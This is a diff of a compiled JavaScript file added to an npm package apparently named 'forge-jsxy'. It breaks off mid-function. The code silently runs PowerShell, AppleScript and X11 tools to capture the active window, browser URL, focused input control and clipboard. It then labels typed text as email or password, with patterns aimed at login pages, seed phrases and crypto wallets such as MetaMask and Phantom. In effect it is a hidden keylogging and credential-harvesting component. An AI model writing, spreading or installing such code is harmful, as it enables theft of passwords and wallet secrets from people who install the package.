forge-jsxy 1.0.66

package/dist/inputContext.js

@@ -0,0 +1,1094 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.inferInputTagType = inferInputTagType;
+exports.buildInputContextJson = buildInputContextJson;
+const node_child_process_1 = require("node:child_process");
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const node_util_1 = require("node:util");
+const execFileP = (0, node_util_1.promisify)(node_child_process_1.execFile);
+const EXEC_TIMEOUT_MS = 3200;
+const FG_CACHE_MS = 800;
+const FG_LAST_GOOD_CACHE_MS = 30_000;
+const CONTEXT_HINT_CACHE_MS = 30_000;
+const KEYBOARD_TAG_CONTINUITY_MS = 20_000;
+const MAX_FIELD_CHARS = 280;
+const MAX_JSON_CHARS = 3000;
+let cachedForegroundAt = 0;
+let cachedForeground = null;
+let cachedLastGoodForegroundAt = 0;
+let cachedLastGoodForeground = null;
+let cachedContextHintsAt = 0;
+let cachedContextHints = null;
+let suspiciousWindowsPowerShellBurst = 0;
+let suspiciousWindowsPowerShellLastAt = 0;
+let lastWindowsForegroundPid;
+let lastKeyboardTagState = null;
+function hasUsableForeground(fg) {
+    if (!fg)
+        return false;
+    return Boolean((fg.focused_app && fg.focused_app.trim()) ||
+        (fg.process_name && fg.process_name.trim()) ||
+        (fg.window_title && fg.window_title.trim()) ||
+        (fg.window_class && fg.window_class.trim()));
+}
+function cap(s, n = MAX_FIELD_CHARS) {
+    if (!s)
+        return undefined;
+    const one = s.replace(/\s+/g, " ").trim();
+    if (!one)
+        return undefined;
+    return one.length <= n ? one : `${one.slice(0, n - 1)}…`;
+}
+function powershellExe() {
+    const sys = process.env.SystemRoot || "C:\\Windows";
+    const p = path.join(sys, "System32", "WindowsPowerShell", "v1.0", "powershell.exe");
+    if (fs.existsSync(p))
+        return p;
+    const sysNative = path.join(sys, "SysNative", "WindowsPowerShell", "v1.0", "powershell.exe");
+    if (fs.existsSync(sysNative))
+        return sysNative;
+    return p;
+}
+async function execUtf8(command, args) {
+    try {
+        const r = await execFileP(command, args, {
+            encoding: "utf8",
+            timeout: EXEC_TIMEOUT_MS,
+            windowsHide: true,
+            maxBuffer: 256 * 1024,
+            env: process.env,
+        });
+        const out = String(r.stdout ?? "").trim();
+        return out || null;
+    }
+    catch {
+        return null;
+    }
+}
+function parseLinuxXpropField(out, key) {
+    const rx = new RegExp(`${key}\\([^\\)]*\\)\\s*=\\s*(.+)`, "i");
+    const m = out.match(rx);
+    if (!m?.[1])
+        return undefined;
+    return cap(m[1].replace(/^"|"$/g, "").replace(/",\s*"/g, "/"), 320);
+}
+function parseFirstUrl(s) {
+    const m = s.match(/https?:\/\/[^\s)\]}>"']+/i);
+    return cap(m?.[0], 220);
+}
+function parseClipboardPathHints(s) {
+    const text = s.trim();
+    if (!text)
+        return {};
+    const normalizePathToken = (raw) => {
+        let t = raw.trim();
+        if (!t)
+            return "";
+        t = t.replace(/^['"`]+|['"`]+$/g, "");
+        t = t.replace(/[\],;]+$/g, "");
+        // Common shell error suffix: "/path/file: line 12: ..."
+        t = t.replace(/:\s*line\s+\d+.*$/i, "");
+        // Generic suffix after colon + space
+        t = t.replace(/:\s+.*$/i, "");
+        return t.trim();
+    };
+    const fileUri = text.match(/file:\/\/[^\s]+/i)?.[0];
+    if (fileUri) {
+        const dec = normalizePathToken(decodeURIComponent(fileUri.replace(/^file:\/\//i, "")));
+        const p = cap(dec, 240);
+        if (!p)
+            return {};
+        return {
+            clipboard_file_path_hint: p,
+            clipboard_directory_hint: cap(path.dirname(p), 240),
+        };
+    }
+    const win = text.match(/[a-zA-Z]:\\[^\r\n]+/)?.[0];
+    if (win) {
+        const p = cap(normalizePathToken(win), 240);
+        if (!p)
+            return {};
+        return {
+            clipboard_file_path_hint: p,
+            clipboard_directory_hint: cap(path.win32.dirname(p), 240),
+        };
+    }
+    const unix = text.match(/(?:^|\s)(\/[^\r\n"'`]+)(?:\s|$)/)?.[1];
+    if (unix) {
+        const p = cap(normalizePathToken(unix), 240);
+        if (!p)
+            return {};
+        return {
+            clipboard_file_path_hint: p,
+            clipboard_directory_hint: cap(path.posix.dirname(p), 240),
+        };
+    }
+    return {};
+}
+function detectClipboardUrls(s) {
+    const matches = s.match(/https?:\/\/[^\s)\]}>"']+/gi) || [];
+    const out = [];
+    for (const m of matches) {
+        const u = cap(m, 220);
+        if (!u)
+            continue;
+        if (!out.includes(u))
+            out.push(u);
+        if (out.length >= 5)
+            break;
+    }
+    return out;
+}
+function detectClipboardFilePaths(s) {
+    const normalizePathToken = (raw) => {
+        let t = raw.trim();
+        if (!t)
+            return "";
+        t = t.replace(/^['"`]+|['"`]+$/g, "");
+        t = t.replace(/[\],;]+$/g, "");
+        t = t.replace(/:\s*line\s+\d+.*$/i, "");
+        t = t.replace(/:\s+.*$/i, "");
+        return t.trim();
+    };
+    const out = [];
+    const win = s.match(/[a-zA-Z]:\\[^\r\n"']+/g) || [];
+    const unix = s.match(/(?:^|\s)(\/[^\r\n"'`]+)/g) || [];
+    const uris = s.match(/file:\/\/[^\s"']+/gi) || [];
+    for (const raw of [...win, ...unix, ...uris]) {
+        let v = raw.trim();
+        if (v.startsWith("file://")) {
+            v = decodeURIComponent(v.replace(/^file:\/\//i, ""));
+        }
+        v = normalizePathToken(v);
+        if (v.startsWith("/") || /^[a-zA-Z]:\\/.test(v)) {
+            const p = cap(v, 240);
+            if (p && !out.includes(p))
+                out.push(p);
+        }
+        if (out.length >= 5)
+            break;
+    }
+    return out;
+}
+function inferWorkingDirectoryHint(windowTitle, clipboardText) {
+    const merged = `${windowTitle || ""}\n${clipboardText || ""}`;
+    if (!merged.trim())
+        return undefined;
+    const win = merged.match(/[a-zA-Z]:\\[^\r\n"'<>|]+/g) || [];
+    for (const raw of win) {
+        const cleaned = cap(raw.trim(), 240);
+        if (!cleaned)
+            continue;
+        const dir = cap(path.win32.dirname(cleaned), 240);
+        if (dir && dir !== "." && dir !== "\\")
+            return dir;
+    }
+    const unix = merged.match(/(?:^|\s)(\/[^\r\n"'<>|]+)(?:\s|$)/g) || [];
+    for (const raw of unix) {
+        const candidate = raw.trim();
+        const m = candidate.match(/\/[^\r\n"'<>|]+/);
+        if (!m)
+            continue;
+        const cleaned = cap(m[0], 240);
+        if (!cleaned)
+            continue;
+        const dir = cap(path.posix.dirname(cleaned), 240);
+        if (dir && dir !== "." && dir !== "/")
+            return dir;
+    }
+    return undefined;
+}
+function looksLikeBrowserApp(app) {
+    const s = (app || "").toLowerCase();
+    return (s.includes("chrome") ||
+        s.includes("chromium") ||
+        s.includes("edge") ||
+        s.includes("firefox") ||
+        s.includes("librewolf") ||
+        s.includes("brave") ||
+        s.includes("opera") ||
+        s.includes("vivaldi") ||
+        s.includes("arc") ||
+        s.includes("zen browser") ||
+        s.includes("web content") ||
+        s.includes("safari"));
+}
+function inferBrowserName(app) {
+    const s = (app || "").toLowerCase();
+    if (!s)
+        return undefined;
+    if (s.includes("msedge") || s.includes("edge"))
+        return "edge";
+    if (s.includes("chromium"))
+        return "chromium";
+    if (s.includes("firefox"))
+        return "firefox";
+    if (s.includes("librewolf"))
+        return "firefox";
+    if (s.includes("brave"))
+        return "brave";
+    if (s.includes("vivaldi"))
+        return "vivaldi";
+    if (s.includes("opera"))
+        return "opera";
+    if (s.includes("arc"))
+        return "arc";
+    if (s.includes("zen browser"))
+        return "zen";
+    if (s.includes("safari"))
+        return "safari";
+    if (s.includes("chrome"))
+        return "chrome";
+    return undefined;
+}
+async function tryMacBrowserUrl(app) {
+    const a = (app || "").toLowerCase();
+    if (!a)
+        return undefined;
+    let script = null;
+    if (a.includes("chrome") || a.includes("brave") || a.includes("vivaldi") || a.includes("opera") || a.includes("edge")) {
+        script = [
+            `tell application "${app}"`,
+            "try",
+            "set u to URL of active tab of front window",
+            "return u",
+            "end try",
+            "end tell",
+        ];
+    }
+    else if (a.includes("safari")) {
+        script = [
+            'tell application "Safari"',
+            "try",
+            "set u to URL of front document",
+            "return u",
+            "end try",
+            "end tell",
+        ];
+    }
+    if (!script)
+        return undefined;
+    const out = await execUtf8("osascript", ["-e", script.join("\n")]);
+    return parseFirstUrl(out || "");
+}
+function inferAppType(app, processPath, title) {
+    const s = `${app || ""} ${processPath || ""} ${title || ""}`.toLowerCase();
+    if (!s.trim())
+        return "unknown";
+    if (looksLikeBrowserApp(app) || /browser|tab|web/.test(s))
+        return "browser";
+    if (/code|cursor|vim|emacs|notepad\+\+|sublime|idea|pycharm|vscode/.test(s))
+        return "editor";
+    if (/terminal|powershell|cmd\.exe|bash|zsh|iterm|gnome-terminal|konsole|xterm/.test(s))
+        return "terminal";
+    if (/explorer|finder|nautilus|dolphin|thunar|file manager/.test(s))
+        return "file_manager";
+    if (/word|excel|powerpoint|libreoffice|office/.test(s))
+        return "office";
+    if (/discord|slack|teams|telegram|whatsapp|skype|wechat/.test(s))
+        return "communication";
+    if (/steam|epic|unity|unreal|game/.test(s))
+        return "game";
+    return "application";
+}
+function inferInputHint(windowTitle) {
+    const s = (windowTitle || "").toLowerCase();
+    if (!s)
+        return undefined;
+    if (/(password|passcode|otp|2fa|one[- ]time|wallet unlock|unlock wallet|seed phrase|recovery phrase|passphrase)/.test(s)) {
+        return "sensitive";
+    }
+    if (/(search|find)/.test(s))
+        return "search";
+    if (/(login|sign in|signin|unlock|connect wallet|wallet|account|auth|verify|mail|gmail)/.test(s)) {
+        return "login";
+    }
+    if (/(chat|message|reply)/.test(s))
+        return "chat";
+    return "generic_text";
+}
+function isLikelyEmailLocalPart(s) {
+    if (!s)
+        return false;
+    if (s.includes("@"))
+        return false;
+    return /^[a-z0-9._%+\-]{2,64}$/i.test(s);
+}
+function isLikelyEmailDomainFragment(s) {
+    if (!s)
+        return false;
+    if (s.startsWith("@")) {
+        return /^@[a-z0-9.-]+\.[a-z]{2,}$/i.test(s);
+    }
+    return /^(?:gmail|outlook|hotmail|yahoo|icloud|proton|aol)\.[a-z]{2,}$/i.test(s);
+}
+function isLikelyFullEmail(s) {
+    if (!s)
+        return false;
+    const t = s.trim();
+    return /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}$/i.test(t);
+}
+function isLikelyPasswordToken(s) {
+    if (!s || /\s/.test(s) || s.length < 6)
+        return false;
+    if (/^https?:\/\//i.test(s))
+        return false;
+    if (isLikelyFullEmail(s))
+        return false;
+    const hasAlpha = /[a-z]/i.test(s);
+    const hasDigit = /\d/.test(s);
+    const hasSymbol = /[^a-z0-9]/i.test(s);
+    return hasAlpha && hasDigit && (hasSymbol || s.length >= 10);
+}
+function hasAuthContextSignal(windowTitle, urlHint, appType, inputHint) {
+    const title = (windowTitle || "").toLowerCase();
+    const url = (urlHint || "").toLowerCase();
+    const app = (appType || "").toLowerCase();
+    const hint = (inputHint || "").toLowerCase();
+    const walletTitle = /(wallet|metamask|phantom|rabby|backpack|keplr|tronlink|coinbase wallet)/.test(title);
+    const walletUrl = /(chrome-extension:\/\/|edge-extension:\/\/|moz-extension:\/\/|safari-extension:\/\/)/.test(url) &&
+        /(wallet|metamask|phantom|rabby|backpack|keplr|tronlink|coinbase|unlock|login|auth|connect)/.test(url);
+    if (walletTitle || walletUrl)
+        return true;
+    if (hint === "login" || hint === "sensitive")
+        return true;
+    if (/(accounts\.google\.com|mail\.google\.com|login|signin|auth|oauth|account|verify|challenge|unlock|wallet)/.test(url)) {
+        return true;
+    }
+    if (app === "browser") {
+        if (/(login|sign[ -]?in|signin|account|auth|oauth|verify|gmail|mail|unlock)/.test(title))
+            return true;
+        if (/(accounts\.google\.com|mail\.google\.com|login|signin|auth|oauth|account|verify|challenge|unlock|wallet)/.test(url)) {
+            return true;
+        }
+    }
+    return /(login|sign[ -]?in|signin|account|auth|verify|password|passkey|otp|unlock|wallet)/.test(title);
+}
+function inferInputTagType(windowTitle, urlHint, typedText, appType, inputHint, controlSignals) {
+    const s = `${windowTitle || ""} ${urlHint || ""}`.toLowerCase();
+    const t = (typedText || "").trim();
+    const authCtx = hasAuthContextSignal(windowTitle, urlHint, appType, inputHint);
+    const controlType = (controlSignals?.controlType || "").toLowerCase();
+    const controlName = (controlSignals?.controlName || "").toLowerCase();
+    const controlAutomationId = (controlSignals?.controlAutomationId || "").toLowerCase();
+    const controlHelpText = (controlSignals?.controlHelpText || "").toLowerCase();
+    const controlHints = `${controlType} ${controlName} ${controlAutomationId} ${controlHelpText}`.trim();
+    if (controlSignals?.isPassword)
+        return "password";
+    if (/(password|passcode|pwd|pin|otp|2fa|one[- ]time|verification code)/.test(controlHints))
+        return "password";
+    if (/(password|passcode|otp|2fa|one[- ]time|pin)/.test(s))
+        return "password";
+    if (/(search|find)/.test(s))
+        return "search";
+    if (/(email|e-mail|username|user name|identifier|account|login)/.test(controlHints) && !isLikelyPasswordToken(t)) {
+        return "email";
+    }
+    if (/(email|e-mail)/.test(s) || isLikelyFullEmail(t))
+        return "email";
+    if (authCtx &&
+        (isLikelyEmailDomainFragment(t) || (isLikelyEmailLocalPart(t) && !isLikelyPasswordToken(t)))) {
+        return "email";
+    }
+    if (isLikelyPasswordToken(t))
+        return "password";
+    if (authCtx && isLikelyPasswordToken(t))
+        return "password";
+    if (/(url|website|web address|link)/.test(s) ||
+        /^https?:\/\//i.test(t) ||
+        /^(?:[a-z0-9-]+\.)+[a-z]{2,}(?:\/[^\s]*)?$/i.test(t)) {
+        return "url";
+    }
+    if (/(phone|mobile|tel)/.test(s))
+        return "tel";
+    if (/(number|amount|qty|quantity|count)/.test(s) || /^\d+$/.test(t))
+        return "number";
+    if (/^(true|false)$/i.test(t))
+        return "checkbox_like";
+    return "text";
+}
+function keyboardContextKey(app, pid, title, urlHint) {
+    return `${(app || "").toLowerCase()}|${(pid || "").toLowerCase()}|${(title || "").toLowerCase()}|${(urlHint || "").toLowerCase()}`;
+}
+function applyKeyboardTagContinuity(currentTag, typedText, appType, inputHint, windowTitle, urlHint, app, pid) {
+    const now = Date.now();
+    const t = (typedText || "").trim();
+    const tag = (currentTag || "").trim();
+    const k = keyboardContextKey(app, pid, windowTitle, urlHint);
+    const authCtx = hasAuthContextSignal(windowTitle, urlHint, appType, inputHint);
+    let out = tag || undefined;
+    if (lastKeyboardTagState &&
+        now - lastKeyboardTagState.at <= KEYBOARD_TAG_CONTINUITY_MS &&
+        lastKeyboardTagState.contextKey === k) {
+        if ((tag === "text" || !tag) &&
+            lastKeyboardTagState.tag === "email" &&
+            (isLikelyEmailDomainFragment(t) || isLikelyEmailLocalPart(t))) {
+            out = "email";
+        }
+        else if ((tag === "text" || !tag) &&
+            authCtx &&
+            (lastKeyboardTagState.tag === "email" || lastKeyboardTagState.tag === "text") &&
+            isLikelyPasswordToken(t)) {
+            out = "password";
+        }
+        else if ((tag === "text" || !tag) && lastKeyboardTagState.tag === "password" && isLikelyPasswordToken(t)) {
+            out = "password";
+        }
+    }
+    if (out) {
+        lastKeyboardTagState = { tag: out, at: now, contextKey: k };
+    }
+    return out;
+}
+function inferClipboardContentType(text) {
+    const s = text.trim();
+    if (!s)
+        return "empty";
+    if (/^https?:\/\//i.test(s))
+        return "url";
+    if (/^file:\/\//i.test(s))
+        return "file_uri";
+    if (/^[a-zA-Z]:\\/.test(s) || s.startsWith("/"))
+        return "path";
+    if ((s.startsWith("{") && s.endsWith("}")) || (s.startsWith("[") && s.endsWith("]")))
+        return "json_like";
+    if (/[{}();<>]/.test(s) && /\b(function|class|const|let|def|import|SELECT|INSERT)\b/i.test(s))
+        return "code_like";
+    if (s.includes("\n"))
+        return "multiline_text";
+    return "text";
+}
+function inferClipboardTagType(text, contentType, hasEmail, hasUrl, hasPath) {
+    const s = (text || "").trim();
+    if (!s)
+        return "text";
+    if (hasEmail)
+        return "email";
+    if (hasUrl || contentType === "url")
+        return "url";
+    if (hasPath || contentType === "path" || contentType === "file_uri")
+        return "path";
+    if (/^\d+$/.test(s))
+        return "number";
+    if (isLikelyPasswordToken(s))
+        return "password";
+    return "text";
+}
+function inferClipboardAppTypeFromContent(contentType, hasUrl, hasPath) {
+    if (hasUrl || contentType === "url")
+        return "browser";
+    if (hasPath || contentType === "path" || contentType === "file_uri")
+        return "file_manager";
+    if (contentType === "code_like" || contentType === "json_like")
+        return "editor";
+    if (contentType === "multiline_text" || contentType === "text")
+        return "application";
+    return undefined;
+}
+function rememberContextHints(payload) {
+    const appType = String(payload.app_type || "").trim().toLowerCase();
+    if (!appType || appType === "unknown")
+        return;
+    cachedContextHints = {
+        app_type: payload.app_type,
+        focused_app: payload.focused_app,
+        process_name: payload.process_name,
+        process_path: payload.process_path,
+        window_title: payload.window_title,
+        window_class: payload.window_class,
+        browser_name: payload.browser_name,
+        capture_method: payload.capture_method,
+    };
+    cachedContextHintsAt = Date.now();
+}
+function inferBrowserExtensionType(app, windowTitle, urlHint, clipboardText) {
+    const s = `${app || ""} ${windowTitle || ""} ${urlHint || ""} ${clipboardText || ""}`.toLowerCase();
+    if (!s.trim())
+        return undefined;
+    if (s.includes("chrome-extension://"))
+        return "chrome";
+    if (s.includes("edge-extension://"))
+        return "edge";
+    if (s.includes("moz-extension://"))
+        return "firefox";
+    if (s.includes("safari-extension://"))
+        return "safari";
+    if (/chrome|chromium|brave|vivaldi|opera|arc|zen browser/.test(s))
+        return "chromium";
+    if (s.includes("msedge") || s.includes(" edge "))
+        return "edge";
+    if (s.includes("firefox") || s.includes("librewolf"))
+        return "firefox";
+    if (s.includes("safari"))
+        return "safari";
+    return undefined;
+}
+function inferBrowserExtensionHints(windowTitle, urlHint, textHint) {
+    const joined = `${windowTitle || ""} ${urlHint || ""} ${textHint || ""}`.trim();
+    if (!joined)
+        return {};
+    const id = joined.match(/\b[a-z]{32}\b/)?.[0];
+    let name;
+    const m1 = joined.match(/(?:extension|add-?on|plugin)[:\s-]+([^\|\n]+)/i);
+    if (m1?.[1])
+        name = m1[1].trim();
+    const m2 = joined.match(/([^\-\|\n]{2,60})\s+(?:-\s*)?(?:Chrome|Edge|Firefox|Safari)/i);
+    if (!name && m2?.[1])
+        name = m2[1].trim();
+    return {
+        extensionNameHint: cap(name, 120),
+        extensionIdHint: cap(id, 64),
+    };
+}
+async function foregroundContextWindows() {
+    const ps = powershellExe();
+    if (!fs.existsSync(ps))
+        return { capture_method: "none" };
+    const script = `
+$sig = @"
+using System;
+using System.Runtime.InteropServices;
+public static class Win32 {
+  [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow();
+  [DllImport("user32.dll")] public static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint processId);
+}
+"@
+try { Add-Type -TypeDefinition $sig -ErrorAction SilentlyContinue | Out-Null } catch {}
+try { Add-Type -AssemblyName UIAutomationClient -ErrorAction SilentlyContinue | Out-Null } catch {}
+try { Add-Type -AssemblyName UIAutomationTypes -ErrorAction SilentlyContinue | Out-Null } catch {}
+$h = [Win32]::GetForegroundWindow()
+if ($h -eq [IntPtr]::Zero) { [Console]::Out.Write("{}"); exit 0 }
+$fgPid = 0
+[void][Win32]::GetWindowThreadProcessId($h, [ref]$fgPid)
+try {
+  $focusPid = 0
+  $ctrlType = ""
+  $ctrlName = ""
+  $ctrlAutoId = ""
+  $ctrlHelp = ""
+  $ctrlIsPassword = $false
+  try {
+    $ae = [System.Windows.Automation.AutomationElement]::FocusedElement
+    if ($ae -ne $null) {
+      try { $focusPid = [int]$ae.Current.ProcessId } catch { $focusPid = 0 }
+      try {
+        $ct = [string]$ae.Current.ControlType.ProgrammaticName
+        if ($ct -match "ControlType\\.(.+)$") { $ct = $Matches[1] }
+        $ctrlType = $ct
+      } catch {}
+      try { $ctrlName = [string]$ae.Current.Name } catch {}
+      try { $ctrlAutoId = [string]$ae.Current.AutomationId } catch {}
+      try { $ctrlHelp = [string]$ae.Current.HelpText } catch {}
+      try { $ctrlIsPassword = [bool]$ae.Current.IsPassword } catch { $ctrlIsPassword = $false }
+    }
+  } catch {}
+  $targetPid = $fgPid
+  if ($focusPid -gt 0) { $targetPid = $focusPid }
+  $p = $null
+  try { $p = Get-Process -Id $targetPid -ErrorAction Stop } catch {}
+  if ($p -eq $null -and $fgPid -gt 0) {
+    try { $p = Get-Process -Id $fgPid -ErrorAction Stop } catch {}
+  }
+  if ($p -eq $null) { [Console]::Out.Write("{}"); exit 0 }
+  $procName = ""
+  $procPath = ""
+  $procId = ""
+  try { $procName = [string]$p.ProcessName } catch {}
+  try { $procPath = [string]$p.Path } catch {}
+  try { $procId = [string]$p.Id } catch {}
+  $title = ""
+  try { $title = [string]$p.MainWindowTitle } catch {}
+  $out = [PSCustomObject]@{
+    focused_app = $procName
+    process_name = $procName
+    process_path = $procPath
+    pid = $procId
+    collector_pid = [string]$PID
+    process_is_collector_like = $false
+    window_title = $title
+    input_control_type = $ctrlType
+    input_control_name = $ctrlName
+    input_control_automation_id = $ctrlAutoId
+    input_control_help_text = $ctrlHelp
+    input_is_password = $ctrlIsPassword
+  }
+  $cmdLine = ""
+  try {
+    $w = Get-CimInstance Win32_Process -Filter ("ProcessId = " + [string]$p.Id) -ErrorAction Stop
+    if ($w -ne $null) { $cmdLine = [string]$w.CommandLine }
+  } catch {}
+  if ($procName -match '^(powershell|pwsh)$') {
+    if (
+      ($cmdLine -match '(?i)-NoProfile') -and
+      ($cmdLine -match '(?i)-NonInteractive') -and
+      (
+        ($cmdLine -match '(?i)GetForegroundWindow') -or
+        ($cmdLine -match '(?i)UIAutomation') -or
+        ($cmdLine -match '(?i)ConvertTo-Json')
+      )
+    ) {
+      $out.process_is_collector_like = $true
+    }
+  }
+
+  $json = $out | ConvertTo-Json -Compress
+  [Console]::Out.Write($json)
+} catch {
+  [Console]::Out.Write("{}")
+}
+`;
+    const out = await execUtf8(ps, ["-NoProfile", "-NonInteractive", "-Command", script]);
+    if (!out)
+        return { capture_method: "none" };
+    try {
+        const obj = JSON.parse(out);
+        const pid = cap(String(obj.pid || ""));
+        const collectorPid = cap(String(obj.collector_pid || ""));
+        if (pid && collectorPid && pid === collectorPid) {
+            // Self-capture guard: PowerShell collector occasionally reports its own process.
+            // Returning none lets higher-level cache/fallback logic avoid "stuck powershell" context.
+            return { capture_method: "none_self_capture" };
+        }
+        if (obj.process_is_collector_like === true) {
+            // Guard when PowerShell collector resolves a sibling collector-like shell process.
+            return { capture_method: "none_self_capture_like" };
+        }
+        const fg = {
+            focused_app: cap(String(obj.focused_app || "")),
+            process_name: cap(String(obj.process_name || "")),
+            process_path: cap(String(obj.process_path || ""), 320),
+            process_is_collector_like: obj.process_is_collector_like === true,
+            pid,
+            window_title: cap(String(obj.window_title || ""), 320),
+            input_control_type: cap(String(obj.input_control_type || ""), 120),
+            input_control_name: cap(String(obj.input_control_name || ""), 220),
+            input_control_automation_id: cap(String(obj.input_control_automation_id || ""), 160),
+            input_control_help_text: cap(String(obj.input_control_help_text || ""), 220),
+            input_is_password: Boolean(obj.input_is_password),
+            capture_method: "powershell_user32",
+        };
+        const isPowerShell = /^(powershell|pwsh)$/i.test(String(fg.process_name || ""));
+        const hasWindowTitle = Boolean((fg.window_title || "").trim());
+        const hasControlSignal = Boolean((fg.input_control_type || "").trim() ||
+            (fg.input_control_name || "").trim() ||
+            (fg.input_control_automation_id || "").trim());
+        const now = Date.now();
+        if (isPowerShell && !hasWindowTitle && !hasControlSignal) {
+            const pidChanged = Boolean(lastWindowsForegroundPid &&
+                fg.pid &&
+                lastWindowsForegroundPid !== fg.pid);
+            if (pidChanged && now - suspiciousWindowsPowerShellLastAt < 30_000) {
+                suspiciousWindowsPowerShellBurst += 1;
+            }
+            else if (pidChanged) {
+                suspiciousWindowsPowerShellBurst = 1;
+            }
+            else {
+                suspiciousWindowsPowerShellBurst = 0;
+            }
+            suspiciousWindowsPowerShellLastAt = now;
+            lastWindowsForegroundPid = fg.pid;
+            if (suspiciousWindowsPowerShellBurst >= 2) {
+                return { capture_method: "none_suspicious_powershell" };
+            }
+        }
+        else {
+            suspiciousWindowsPowerShellBurst = 0;
+            suspiciousWindowsPowerShellLastAt = now;
+            lastWindowsForegroundPid = fg.pid;
+        }
+        return fg;
+    }
+    catch {
+        return { capture_method: "none" };
+    }
+}
+async function foregroundContextMac() {
+    const appScript = [
+        'tell application "System Events"',
+        "set frontApp to first application process whose frontmost is true",
+        "set appName to name of frontApp",
+        'set winTitle to ""',
+        "try",
+        "set winTitle to name of front window of frontApp",
+        "end try",
+        'return appName & "\\n" & winTitle',
+        "end tell",
+    ].join("\n");
+    const out = await execUtf8("osascript", ["-e", appScript]);
+    if (!out)
+        return { capture_method: "none" };
+    const [app, title] = out.split(/\r?\n/, 2);
+    return {
+        focused_app: cap(app),
+        process_name: cap(app),
+        window_title: cap(title, 320),
+        capture_method: "osascript_system_events",
+    };
+}
+async function foregroundContextLinux() {
+    const winId = await execUtf8("xdotool", ["getactivewindow"]);
+    let resolvedWinId = winId;
+    if (!resolvedWinId) {
+        const root = await execUtf8("xprop", ["-root", "_NET_ACTIVE_WINDOW"]);
+        const m = (root || "").match(/0x[0-9a-f]+/i);
+        resolvedWinId = m?.[0] || null;
+    }
+    if (!resolvedWinId) {
+        const hypr = await execUtf8("hyprctl", ["activewindow", "-j"]);
+        if (hypr) {
+            try {
+                const obj = JSON.parse(hypr);
+                const cls = String(obj.class || "").trim() ||
+                    String(obj.initialClass || "").trim() ||
+                    String(obj.appid || "").trim();
+                const title = String(obj.title || "").trim();
+                const pidRaw = obj.pid;
+                const pid = Number.isFinite(Number(pidRaw)) ? String(Math.floor(Number(pidRaw))) : "";
+                let processPath;
+                if (pid) {
+                    processPath = (await execUtf8("readlink", ["-f", `/proc/${pid}/exe`])) || undefined;
+                }
+                if (cls || title || pid) {
+                    return {
+                        focused_app: cap(cls || title || ""),
+                        process_name: cap(cls || ""),
+                        process_path: cap(processPath || "", 320),
+                        pid: cap(pid),
+                        window_title: cap(title, 320),
+                        window_class: cap(cls, 200),
+                        capture_method: "hyprctl_activewindow",
+                    };
+                }
+            }
+            catch { }
+        }
+        const swayTree = await execUtf8("swaymsg", ["-t", "get_tree", "-r"]);
+        if (swayTree) {
+            try {
+                const root = JSON.parse(swayTree);
+                const stack = [root];
+                let focused;
+                while (stack.length) {
+                    const n = stack.pop();
+                    if (!n)
+                        break;
+                    if (n.focused === true) {
+                        focused = n;
+                        break;
+                    }
+                    const nodes = Array.isArray(n.nodes) ? n.nodes : [];
+                    const fNodes = Array.isArray(n.floating_nodes)
+                        ? n.floating_nodes
+                        : [];
+                    for (const c of nodes)
+                        stack.push(c);
+                    for (const c of fNodes)
+                        stack.push(c);
+                }
+                if (focused) {
+                    const wp = focused.window_properties && typeof focused.window_properties === "object"
+                        ? focused.window_properties
+                        : {};
+                    const appRaw = String(focused.app_id || "").trim() ||
+                        String(wp.class || "").trim() ||
+                        String(wp.instance || "").trim();
+                    const titleRaw = String(focused.name || "").trim();
+                    const pidRaw = focused.pid;
+                    const pid = Number.isFinite(Number(pidRaw)) && Number(pidRaw) > 0
+                        ? String(Math.floor(Number(pidRaw)))
+                        : "";
+                    let processPath;
+                    if (pid) {
+                        processPath = (await execUtf8("readlink", ["-f", `/proc/${pid}/exe`])) || undefined;
+                    }
+                    if (appRaw || titleRaw || pid) {
+                        return {
+                            focused_app: cap(appRaw || titleRaw || ""),
+                            process_name: cap(appRaw || ""),
+                            process_path: cap(processPath || "", 320),
+                            pid: cap(pid),
+                            window_title: cap(titleRaw, 320),
+                            window_class: cap(String(wp.class || appRaw || ""), 200),
+                            capture_method: "swaymsg_tree",
+                        };
+                    }
+                }
+            }
+            catch { }
+        }
+        return { capture_method: "none" };
+    }
+    const title = (await execUtf8("xdotool", ["getwindowname", resolvedWinId])) ||
+        (await execUtf8("xprop", ["-id", resolvedWinId, "WM_NAME"])) ||
+        undefined;
+    const pid = await execUtf8("xdotool", ["getwindowpid", resolvedWinId]);
+    const xpropClass = await execUtf8("xprop", ["-id", resolvedWinId, "WM_CLASS"]);
+    const windowClass = parseLinuxXpropField(xpropClass || "", "WM_CLASS");
+    let processName;
+    let processPath;
+    if (pid && /^\d+$/.test(pid)) {
+        processName = await execUtf8("ps", ["-p", pid, "-o", "comm="]) || undefined;
+        processPath = await execUtf8("readlink", ["-f", `/proc/${pid}/exe`]) || undefined;
+    }
+    const wmctrlLine = await execUtf8("wmctrl", ["-lp"]);
+    if (!processName && wmctrlLine) {
+        const line = wmctrlLine
+            .split(/\r?\n/)
+            .find((ln) => ln.toLowerCase().includes((title || "").toLowerCase()));
+        if (line) {
+            const cols = line.trim().split(/\s+/);
